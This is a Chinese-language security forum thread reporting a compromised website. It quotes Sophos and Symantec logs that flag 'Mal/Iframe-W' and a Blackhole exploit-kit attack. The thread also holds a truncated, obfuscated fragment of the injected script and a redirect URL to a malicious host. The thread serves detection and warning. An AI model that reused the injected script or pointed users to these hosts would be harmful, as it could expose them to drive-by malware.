http://www.stonelight.ae/index.php

firefox3

****************** Sophos Anti-Virus 日志记录 - 2012/9/24 5:03:08 **************

    ...
20120924 050234        文件"C:\Users\S\AppData\Roaming\SogouExplorer\Webkit\Default\Cache\f_0000a2"属于病毒/间谍软件 'Mal/Iframe-W'。
20120924 050235        文件"C:\Users\S\AppData\Roaming\SogouExplorer\Temp\__SEHttpCache__\7056\6852\index[7248].html"属于病毒/间谍软件 'Mal/Iframe-W'。
20120924 050239        文件"C:\Users\S\AppData\Roaming\SogouExplorer\Temp\__SEHttpCache__\7056\6852\index[7248].html"属于病毒/间谍软件 'Mal/Iframe-W'。
      (3 个项目)

said411f

1.<script>aa=/\w/.exec(1).index+[];aaa='0';try{location({});}catch(hgberger){if(aa===aaa)
2.zdravushka.in/main.php?page=99201204d903c23d

炎之使者

Category: Intrusion Prevention
Date & Time,Risk,Activity,Status,Recommended Action,IPS Alert Name,Default Action,Action Taken,Attacking Computer,Attacker URL,Destination Address,Source Address,Traffic Description
2012/9/24 13:33:27,High,An intrusion attempt by www.stonelight.ae was blocked.,Blocked,No Action Required,Web Attack: Blackhole Toolkit Website 14,No Action Required,No Action Required,"www.stonelight.ae (194.170.187.6, 80)",www.stonelight.ae/index.php,"TOM (192.168.129.133, 54058)",194.170.187.6 (194.170.187.6),"TCP, www-http"
Network traffic from <b>www.stonelight.ae/index.php</b> matches the signature of a known attack.  The attack was resulted from \DEVICE\HARDDISKVOLUME2\WIN8\AD MUNCHER4.91\ADMUNCH.EXE.  To stop being notified for this type of traffic, in the <b>Actions</b> panel, click <b>Stop Notifying Me</b>.

firefox3

said411f 发表于 2012-9-24 13:32
1.aa=/\w/.exec(1).index+[];aaa='0';try{location({});}catch(hgberger){if(aa===aaa)
2.zdravushka.in/ ...

我感觉MSE要比sophos占用大呢